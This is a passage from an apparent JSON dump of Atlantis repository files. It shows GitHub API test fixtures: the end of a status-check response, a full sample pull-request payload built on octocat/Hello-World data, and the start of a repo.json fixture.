check\",\n                        \"conclusion\": \"SUCCESS\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"SUCCESS\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 1\n                          }\n                        }\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/octocat/Hello-World/pulls/1347\",\n  \"id\": 1,\n  \"node_id\": \"MDExOlB1bGxSZXF1ZXN0MQ==\",\n  \"html_url\": \"https://github.com/octocat/Hello-World/pull/1347\",\n  \"diff_url\": \"https://github.com/octocat/Hello-World/pull/1347.diff\",\n  \"patch_url\": \"https://github.com/octocat/Hello-World/pull/1347.patch\",\n  \"issue_url\": \"https://api.github.com/repos/octocat/Hello-World/issues/1347\",\n  \"commits_url\": \"https://api.github.com/repos/octocat/Hello-World/pulls/1347/commits\",\n  \"review_comments_url\": \"https://api.github.com/repos/octocat/Hello-World/pulls/1347/comments\",\n  \"review_comment_url\": \"https://api.github.com/repos/octocat/Hello-World/pulls/comments{/number}\",\n  \"comments_url\": \"https://api.github.com/repos/octocat/Hello-World/issues/1347/comments\",\n  \"statuses_url\": \"https://api.github.com/repos/octocat/Hello-World/statuses/6dcb09b5b57875f334f61aebed695e2e4193db5e\",\n  \"number\": 1347,\n  \"state\": \"open\",\n  \"locked\": true,\n  \"title\": \"new-feature\",\n  \"user\": {\n    \"login\": \"octocat\",\n    \"id\": 1,\n    \"node_id\": \"MDQ6VXNlcjE=\",\n    \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n    \"gravatar_id\": \"\",\n    \"url\": \"https://api.github.com/users/octocat\",\n    \"html_url\": \"https://github.com/octocat\",\n    \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n    \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n    \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n    \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n    \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n    \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n    \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n    \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n    \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n    \"type\": \"User\",\n    \"site_admin\": false\n  },\n  \"body\": \"Please pull these awesome changes\",\n  \"labels\": [\n    {\n      \"id\": 208045946,\n      \"node_id\": \"MDU6TGFiZWwyMDgwNDU5NDY=\",\n      \"url\": \"https://api.github.com/repos/octocat/Hello-World/labels/bug\",\n      \"name\": \"bug\",\n      \"description\": \"Something isn't working\",\n      \"color\": \"f29513\",\n      \"default\": true\n    }\n  ],\n  \"milestone\": {\n    \"url\": \"https://api.github.com/repos/octocat/Hello-World/milestones/1\",\n    \"html_url\": \"https://github.com/octocat/Hello-World/milestones/v1.0\",\n    \"labels_url\": \"https://api.github.com/repos/octocat/Hello-World/milestones/1/labels\",\n    \"id\": 1002604,\n    \"node_id\": \"MDk6TWlsZXN0b25lMTAwMjYwNA==\",\n    \"number\": 1,\n    \"state\": \"open\",\n    \"title\": \"v1.0\",\n    \"description\": \"Tracking milestone for version 1.0\",\n    \"creator\": {\n      \"login\": \"octocat\",\n      \"id\": 1,\n      \"node_id\": \"MDQ6VXNlcjE=\",\n      \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n      \"gravatar_id\": \"\",\n      \"url\": \"https://api.github.com/users/octocat\",\n      \"html_url\": \"https://github.com/octocat\",\n      \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n      \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n      \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n      \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": false\n    },\n    \"open_issues\": 4,\n    \"closed_issues\": 8,\n    \"created_at\": \"2011-04-10T20:09:31Z\",\n    \"updated_at\": \"2014-03-03T18:58:10Z\",\n    \"closed_at\": \"2013-02-12T13:22:01Z\",\n    \"due_on\": \"2012-10-09T23:39:01Z\"\n  },\n  \"active_lock_reason\": \"too heated\",\n  \"created_at\": \"2011-01-26T19:01:12Z\",\n  \"updated_at\": \"2011-01-26T19:01:12Z\",\n  \"closed_at\": \"2011-01-26T19:01:12Z\",\n  \"merged_at\": \"2011-01-26T19:01:12Z\",\n  \"merge_commit_sha\": \"e5bd3914e2e596debea16f433f57875b5b90bcd6\",\n  \"assignee\": {\n    \"login\": \"octocat\",\n    \"id\": 1,\n    \"node_id\": \"MDQ6VXNlcjE=\",\n    \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n    \"gravatar_id\": \"\",\n    \"url\": \"https://api.github.com/users/octocat\",\n    \"html_url\": \"https://github.com/octocat\",\n    \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n    \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n    \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n    \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n    \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n    \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n    \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n    \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n    \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n    \"type\": \"User\",\n    \"site_admin\": false\n  },\n  \"assignees\": [\n    {\n      \"login\": \"octocat\",\n      \"id\": 1,\n      \"node_id\": \"MDQ6VXNlcjE=\",\n      \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n      \"gravatar_id\": \"\",\n      \"url\": \"https://api.github.com/users/octocat\",\n      \"html_url\": \"https://github.com/octocat\",\n      \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n      \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n      \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n      \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": false\n    },\n    {\n      \"login\": \"hubot\",\n      \"id\": 1,\n      \"node_id\": \"MDQ6VXNlcjE=\",\n      \"avatar_url\": \"https://github.com/images/error/hubot_happy.gif\",\n      \"gravatar_id\": \"\",\n      \"url\": \"https://api.github.com/users/hubot\",\n      \"html_url\": \"https://github.com/hubot\",\n      \"followers_url\": \"https://api.github.com/users/hubot/followers\",\n      \"following_url\": \"https://api.github.com/users/hubot/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/hubot/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/hubot/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/hubot/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/hubot/orgs\",\n      \"repos_url\": \"https://api.github.com/users/hubot/repos\",\n      \"events_url\": \"https://api.github.com/users/hubot/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/hubot/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": true\n    }\n  ],\n  \"requested_reviewers\": [\n    {\n      \"login\": \"other_user\",\n      \"id\": 1,\n      \"node_id\": \"MDQ6VXNlcjE=\",\n      \"avatar_url\": \"https://github.com/images/error/other_user_happy.gif\",\n      \"gravatar_id\": \"\",\n      \"url\": \"https://api.github.com/users/other_user\",\n      \"html_url\": \"https://github.com/other_user\",\n      \"followers_url\": \"https://api.github.com/users/other_user/followers\",\n      \"following_url\": \"https://api.github.com/users/other_user/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/other_user/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/other_user/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/other_user/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/other_user/orgs\",\n      \"repos_url\": \"https://api.github.com/users/other_user/repos\",\n      \"events_url\": \"https://api.github.com/users/other_user/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/other_user/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": false\n    }\n  ],\n  \"requested_teams\": [\n    {\n      \"id\": 1,\n      \"node_id\": \"MDQ6VGVhbTE=\",\n      \"url\": \"https://api.github.com/teams/1\",\n      \"name\": \"Justice League\",\n      \"slug\": \"justice-league\",\n      \"description\": \"A great team.\",\n      \"privacy\": \"closed\",\n      \"permission\": \"admin\",\n      \"members_url\": \"https://api.github.com/teams/1/members{/member}\",\n      \"repositories_url\": \"https://api.github.com/teams/1/repos\",\n      \"parent\": null\n    }\n  ],\n  \"head\": {\n    \"label\": \"new-topic\",\n    \"ref\": \"new-topic\",\n    \"sha\": \"6dcb09b5b57875f334f61aebed695e2e4193db5e\",\n    \"user\": {\n      \"login\": \"octocat\",\n      \"id\": 1,\n      \"node_id\": \"MDQ6VXNlcjE=\",\n      \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n      \"gravatar_id\": \"\",\n      \"url\": \"https://api.github.com/users/octocat\",\n      \"html_url\": \"https://github.com/octocat\",\n      \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n      \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n      \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n      \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": false\n    },\n    \"repo\": {\n      \"id\": 1296269,\n      \"node_id\": \"MDEwOlJlcG9zaXRvcnkxMjk2MjY5\",\n      \"name\": \"Hello-World\",\n      \"full_name\": \"octocat/Hello-World\",\n      \"owner\": {\n        \"login\": \"octocat\",\n        \"id\": 1,\n        \"node_id\": \"MDQ6VXNlcjE=\",\n        \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n        \"gravatar_id\": \"\",\n        \"url\": \"https://api.github.com/users/octocat\",\n        \"html_url\": \"https://github.com/octocat\",\n        \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n        \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n        \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n        \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n        \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n        \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n        \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n        \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n        \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n        \"type\": \"User\",\n        \"site_admin\": false\n      },\n      \"private\": false,\n      \"html_url\": \"https://github.com/octocat/Hello-World\",\n      \"description\": \"This your first repo!\",\n      \"fork\": true,\n      \"url\": \"https://api.github.com/repos/octocat/Hello-World\",\n      \"archive_url\": \"http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}\",\n      \"assignees_url\": \"http://api.github.com/repos/octocat/Hello-World/assignees{/user}\",\n      \"blobs_url\": \"http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}\",\n      \"branches_url\": \"http://api.github.com/repos/octocat/Hello-World/branches{/branch}\",\n      \"collaborators_url\": \"http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}\",\n      \"comments_url\": \"http://api.github.com/repos/octocat/Hello-World/comments{/number}\",\n      \"commits_url\": \"http://api.github.com/repos/octocat/Hello-World/commits{/sha}\",\n      \"compare_url\": \"http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}\",\n      \"contents_url\": \"http://api.github.com/repos/octocat/Hello-World/contents/{+path}\",\n      \"contributors_url\": \"http://api.github.com/repos/octocat/Hello-World/contributors\",\n      \"deployments_url\": \"http://api.github.com/repos/octocat/Hello-World/deployments\",\n      \"downloads_url\": \"http://api.github.com/repos/octocat/Hello-World/downloads\",\n      \"events_url\": \"http://api.github.com/repos/octocat/Hello-World/events\",\n      \"forks_url\": \"http://api.github.com/repos/octocat/Hello-World/forks\",\n      \"git_commits_url\": \"http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}\",\n      \"git_refs_url\": \"http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}\",\n      \"git_tags_url\": \"http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}\",\n      \"git_url\": \"git:github.com/octocat/Hello-World.git\",\n      \"issue_comment_url\": \"http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}\",\n      \"issue_events_url\": \"http://api.github.com/repos/octocat/Hello-World/issues/events{/number}\",\n      \"issues_url\": \"http://api.github.com/repos/octocat/Hello-World/issues{/number}\",\n      \"keys_url\": \"http://api.github.com/repos/octocat/Hello-World/keys{/key_id}\",\n      \"labels_url\": \"http://api.github.com/repos/octocat/Hello-World/labels{/name}\",\n      \"languages_url\": \"http://api.github.com/repos/octocat/Hello-World/languages\",\n      \"merges_url\": \"http://api.github.com/repos/octocat/Hello-World/merges\",\n      \"milestones_url\": \"http://api.github.com/repos/octocat/Hello-World/milestones{/number}\",\n      \"notifications_url\": \"http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}\",\n      \"pulls_url\": \"http://api.github.com/repos/octocat/Hello-World/pulls{/number}\",\n      \"releases_url\": \"http://api.github.com/repos/octocat/Hello-World/releases{/id}\",\n      \"ssh_url\": \"git@github.com:octocat/Hello-World.git\",\n      \"stargazers_url\": \"http://api.github.com/repos/octocat/Hello-World/stargazers\",\n      \"statuses_url\": \"http://api.github.com/repos/octocat/Hello-World/statuses/{sha}\",\n      \"subscribers_url\": \"http://api.github.com/repos/octocat/Hello-World/subscribers\",\n      \"subscription_url\": \"http://api.github.com/repos/octocat/Hello-World/subscription\",\n      \"tags_url\": \"http://api.github.com/repos/octocat/Hello-World/tags\",\n      \"teams_url\": \"http://api.github.com/repos/octocat/Hello-World/teams\",\n      \"trees_url\": \"http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}\",\n      \"clone_url\": \"https://github.com/octocat/Hello-World.git\",\n      \"mirror_url\": \"git:git.example.com/octocat/Hello-World\",\n      \"hooks_url\": \"http://api.github.com/repos/octocat/Hello-World/hooks\",\n      \"svn_url\": \"https://svn.github.com/octocat/Hello-World\",\n      \"homepage\": \"https://github.com\",\n      \"language\": null,\n      \"forks_count\": 9,\n      \"stargazers_count\": 80,\n      \"watchers_count\": 80,\n      \"size\": 108,\n      \"default_branch\": \"main\",\n      \"open_issues_count\": 0,\n      \"topics\": [\n        \"octocat\",\n        \"atom\",\n        \"electron\",\n        \"API\"\n      ],\n      \"has_issues\": true,\n      \"has_projects\": true,\n      \"has_wiki\": true,\n      \"has_pages\": false,\n      \"has_downloads\": true,\n      \"archived\": false,\n      \"pushed_at\": \"2011-01-26T19:06:43Z\",\n      \"created_at\": \"2011-01-26T19:01:12Z\",\n      \"updated_at\": \"2011-01-26T19:14:43Z\",\n      \"permissions\": {\n        \"admin\": false,\n        \"push\": false,\n        \"pull\": true\n      },\n      \"allow_rebase_merge\": true,\n      \"allow_squash_merge\": true,\n      \"allow_merge_commit\": true,\n      \"subscribers_count\": 42,\n      \"network_count\": 0\n    }\n  },\n  \"base\": {\n    \"label\": \"main\",\n    \"ref\": \"main\",\n    \"sha\": \"6dcb09b5b57875f334f61aebed695e2e4193db5e\",\n    \"user\": {\n      \"login\": \"octocat\",\n      \"id\": 1,\n      \"node_id\": \"MDQ6VXNlcjE=\",\n      \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n      \"gravatar_id\": \"\",\n      \"url\": \"https://api.github.com/users/octocat\",\n      \"html_url\": \"https://github.com/octocat\",\n      \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n      \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n      \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n      \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": false\n    },\n    \"repo\": {\n      \"id\": 1296269,\n      \"node_id\": \"MDEwOlJlcG9zaXRvcnkxMjk2MjY5\",\n      \"name\": \"Hello-World\",\n      \"full_name\": \"octocat/Hello-World\",\n      \"owner\": {\n        \"login\": \"octocat\",\n        \"id\": 1,\n        \"node_id\": \"MDQ6VXNlcjE=\",\n        \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n        \"gravatar_id\": \"\",\n        \"url\": \"https://api.github.com/users/octocat\",\n        \"html_url\": \"https://github.com/octocat\",\n        \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n        \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n        \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n        \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n        \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n        \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n        \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n        \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n        \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n        \"type\": \"User\",\n        \"site_admin\": false\n      },\n      \"private\": false,\n      \"html_url\": \"https://github.com/octocat/Hello-World\",\n      \"description\": \"This your first repo!\",\n      \"fork\": true,\n      \"url\": \"https://api.github.com/repos/octocat/Hello-World\",\n      \"archive_url\": \"http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}\",\n      \"assignees_url\": \"http://api.github.com/repos/octocat/Hello-World/assignees{/user}\",\n      \"blobs_url\": \"http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}\",\n      \"branches_url\": \"http://api.github.com/repos/octocat/Hello-World/branches{/branch}\",\n      \"collaborators_url\": \"http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}\",\n      \"comments_url\": \"http://api.github.com/repos/octocat/Hello-World/comments{/number}\",\n      \"commits_url\": \"http://api.github.com/repos/octocat/Hello-World/commits{/sha}\",\n      \"compare_url\": \"http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}\",\n      \"contents_url\": \"http://api.github.com/repos/octocat/Hello-World/contents/{+path}\",\n      \"contributors_url\": \"http://api.github.com/repos/octocat/Hello-World/contributors\",\n      \"deployments_url\": \"http://api.github.com/repos/octocat/Hello-World/deployments\",\n      \"downloads_url\": \"http://api.github.com/repos/octocat/Hello-World/downloads\",\n      \"events_url\": \"http://api.github.com/repos/octocat/Hello-World/events\",\n      \"forks_url\": \"http://api.github.com/repos/octocat/Hello-World/forks\",\n      \"git_commits_url\": \"http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}\",\n      \"git_refs_url\": \"http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}\",\n      \"git_tags_url\": \"http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}\",\n      \"git_url\": \"git:github.com/octocat/Hello-World.git\",\n      \"issue_comment_url\": \"http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}\",\n      \"issue_events_url\": \"http://api.github.com/repos/octocat/Hello-World/issues/events{/number}\",\n      \"issues_url\": \"http://api.github.com/repos/octocat/Hello-World/issues{/number}\",\n      \"keys_url\": \"http://api.github.com/repos/octocat/Hello-World/keys{/key_id}\",\n      \"labels_url\": \"http://api.github.com/repos/octocat/Hello-World/labels{/name}\",\n      \"languages_url\": \"http://api.github.com/repos/octocat/Hello-World/languages\",\n      \"merges_url\": \"http://api.github.com/repos/octocat/Hello-World/merges\",\n      \"milestones_url\": \"http://api.github.com/repos/octocat/Hello-World/milestones{/number}\",\n      \"notifications_url\": \"http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}\",\n      \"pulls_url\": \"http://api.github.com/repos/octocat/Hello-World/pulls{/number}\",\n      \"releases_url\": \"http://api.github.com/repos/octocat/Hello-World/releases{/id}\",\n      \"ssh_url\": \"git@github.com:octocat/Hello-World.git\",\n      \"stargazers_url\": \"http://api.github.com/repos/octocat/Hello-World/stargazers\",\n      \"statuses_url\": \"http://api.github.com/repos/octocat/Hello-World/statuses/{sha}\",\n      \"subscribers_url\": \"http://api.github.com/repos/octocat/Hello-World/subscribers\",\n      \"subscription_url\": \"http://api.github.com/repos/octocat/Hello-World/subscription\",\n      \"tags_url\": \"http://api.github.com/repos/octocat/Hello-World/tags\",\n      \"teams_url\": \"http://api.github.com/repos/octocat/Hello-World/teams\",\n      \"trees_url\": \"http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}\",\n      \"clone_url\": \"https://github.com/octocat/Hello-World.git\",\n      \"mirror_url\": \"git:git.example.com/octocat/Hello-World\",\n      \"hooks_url\": \"http://api.github.com/repos/octocat/Hello-World/hooks\",\n      \"svn_url\": \"https://svn.github.com/octocat/Hello-World\",\n      \"homepage\": \"https://github.com\",\n      \"language\": null,\n      \"forks_count\": 9,\n      \"stargazers_count\": 80,\n      \"watchers_count\": 80,\n      \"size\": 108,\n      \"default_branch\": \"main\",\n      \"open_issues_count\": 0,\n      \"topics\": [\n        \"octocat\",\n        \"atom\",\n        \"electron\",\n        \"API\"\n      ],\n      \"has_issues\": true,\n      \"has_projects\": true,\n      \"has_wiki\": true,\n      \"has_pages\": false,\n      \"has_downloads\": true,\n      \"archived\": false,\n      \"pushed_at\": \"2011-01-26T19:06:43Z\",\n      \"created_at\": \"2011-01-26T19:01:12Z\",\n      \"updated_at\": \"2011-01-26T19:14:43Z\",\n      \"permissions\": {\n        \"admin\": false,\n        \"push\": false,\n        \"pull\": true\n      },\n      \"allow_rebase_merge\": true,\n      \"allow_squash_merge\": true,\n      \"allow_merge_commit\": true,\n      \"subscribers_count\": 42,\n      \"network_count\": 0\n    }\n  },\n  \"_links\": {\n    \"self\": {\n      \"href\": \"https://api.github.com/repos/octocat/Hello-World/pulls/1347\"\n    },\n    \"html\": {\n      \"href\": \"https://github.com/octocat/Hello-World/pull/1347\"\n    },\n    \"issue\": {\n      \"href\": \"https://api.github.com/repos/octocat/Hello-World/issues/1347\"\n    },\n    \"comments\": {\n      \"href\": \"https://api.github.com/repos/octocat/Hello-World/issues/1347/comments\"\n    },\n    \"review_comments\": {\n      \"href\": \"https://api.github.com/repos/octocat/Hello-World/pulls/1347/comments\"\n    },\n    \"review_comment\": {\n      \"href\": \"https://api.github.com/repos/octocat/Hello-World/pulls/comments{/number}\"\n    },\n    \"commits\": {\n      \"href\": \"https://api.github.com/repos/octocat/Hello-World/pulls/1347/commits\"\n    },\n    \"statuses\": {\n      \"href\": \"https://api.github.com/repos/octocat/Hello-World/statuses/6dcb09b5b57875f334f61aebed695e2e4193db5e\"\n    }\n  },\n  \"author_association\": \"OWNER\",\n  \"merged\": false,\n  \"mergeable\": true,\n  \"rebaseable\": true,\n  \"mergeable_state\": \"clean\",\n  \"merged_by\": {\n    \"login\": \"octocat\",\n    \"id\": 1,\n    \"node_id\": \"MDQ6VXNlcjE=\",\n    \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n    \"gravatar_id\": \"\",\n    \"url\": \"https://api.github.com/users/octocat\",\n    \"html_url\": \"https://github.com/octocat\",\n    \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n    \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n    \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n    \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n    \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n    \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n    \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n    \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n    \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n    \"type\": \"User\",\n    \"site_admin\": false\n  },\n  \"comments\": 10,\n  \"review_comments\": 0,\n  \"maintainer_can_modify\": true,\n  \"commits\": 3,\n  \"additions\": 100,\n  \"deletions\": 3,\n  \"changed_files\": 5\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/repo.json",
    "content": "{\n  \"id\": 167228802,\n  \"node_id\": \"MDEwOlJlcG9zaXRvcnkxNjcyMjg4MDI=\",\n  \"name\": \"atlantis\",\n  \"full_name\": \"runatlantis/atlantis\",\n  \"private\": false,\n  \"owner\": {\n    \"login\": \"runatlantis\",\n    \"id\": 1034429,\n    \"node_id\": \"MDQ6VXNlcjEwMzQ0Mjk=\",\n    \"avatar_url\": \"https://avatars1.githubusercontent.com/u/1034429?v=4\",\n    \"gravatar_id\": \"\",\n    \"url\": \"https://api.github.com/users/runatlantis\",\n    \"html_url\": \"https://github.com/runatlantis\",\n    \"followers_url\": \"https://api.github.com/users/runatlantis/followers\",\n    \"following_url\": \"https://api.github.com/users/runatlantis/following{/other_user}\",\n    \"gists_url\": \"https://api.github.com/users/runatlantis/gists{/gist_id}\",\n    \"starred_url\": \"https://api.github.com/users/runatlantis/starred{/owner}{/repo}\",\n    \"subscriptions_url\": \"https://api.github.com/users/runatlantis/subscriptions\",\n    \"organizations_url\": \"https://api.github.com/users/runatlantis/orgs\",\n    \"repos_url\": \"https://api.github.com/users/runatlantis/repos\",\n    \"events_url\": \"https://api.github.com/users/runatlantis/events{/privacy}\",\n    \"received_events_url\": \"https://api.github.com/users/runatlantis/received_events\",\n    \"type\": \"User\",\n    \"site_admin\": false\n  },\n  \"html_url\": \"https://github.com/runatlantis/atlantis\",\n  \"description\": null,\n  \"fork\": false,\n  \"url\": \"https://api.github.com/repos/runatlantis/atlantis\",\n  \"forks_url\": \"https://api.github.com/repos/runatlantis/atlantis/forks\",\n  \"keys_url\": \"https://api.github.com/repos/runatlantis/atlantis/keys{/key_id}\",\n  \"collaborators_url\": \"https://api.github.com/repos/runatlantis/atlantis/collaborators{/collaborator}\",\n  \"teams_url\": \"https://api.github.com/repos/runatlantis/atlantis/teams\",\n  \"hooks_url\": \"https://api.github.com/repos/runatlantis/atlantis/hooks\",\n  \"issue_events_url\": \"https://api.github.com/repos/runatlantis/atlantis/issues/events{/number}\",\n  \"events_url\": \"https://api.github.com/repos/runatlantis/atlantis/events\",\n  \"assignees_url\": \"https://api.github.com/repos/runatlantis/atlantis/assignees{/user}\",\n  \"branches_url\": \"https://api.github.com/repos/runatlantis/atlantis/branches{/branch}\",\n  \"tags_url\": \"https://api.github.com/repos/runatlantis/atlantis/tags\",\n  \"blobs_url\": \"https://api.github.com/repos/runatlantis/atlantis/git/blobs{/sha}\",\n  \"git_tags_url\": \"https://api.github.com/repos/runatlantis/atlantis/git/tags{/sha}\",\n  \"git_refs_url\": \"https://api.github.com/repos/runatlantis/atlantis/git/refs{/sha}\",\n  \"trees_url\": \"https://api.github.com/repos/runatlantis/atlantis/git/trees{/sha}\",\n  \"statuses_url\": \"https://api.github.com/repos/runatlantis/atlantis/statuses/{sha}\",\n  \"languages_url\": \"https://api.github.com/repos/runatlantis/atlantis/languages\",\n  \"stargazers_url\": \"https://api.github.com/repos/runatlantis/atlantis/stargazers\",\n  \"contributors_url\": \"https://api.github.com/repos/runatlantis/atlantis/contributors\",\n  \"subscribers_url\": \"https://api.github.com/repos/runatlantis/atlantis/subscribers\",\n  \"subscription_url\": \"https://api.github.com/repos/runatlantis/atlantis/subscription\",\n  \"commits_url\": \"https://api.github.com/repos/runatlantis/atlantis/commits{/sha}\",\n  \"git_commits_url\": \"https://api.github.com/repos/runatlantis/atlantis/git/commits{/sha}\",\n  \"comments_url\": \"https://api.github.com/repos/runatlantis/atlantis/comments{/number}\",\n  \"issue_comment_url\": \"https://api.github.com/repos/runatlantis/atlantis/issues/comments{/number}\",\n  \"contents_url\": \"https://api.github.com/repos/runatlantis/atlantis/contents/{+path}\",\n  \"compare_url\": 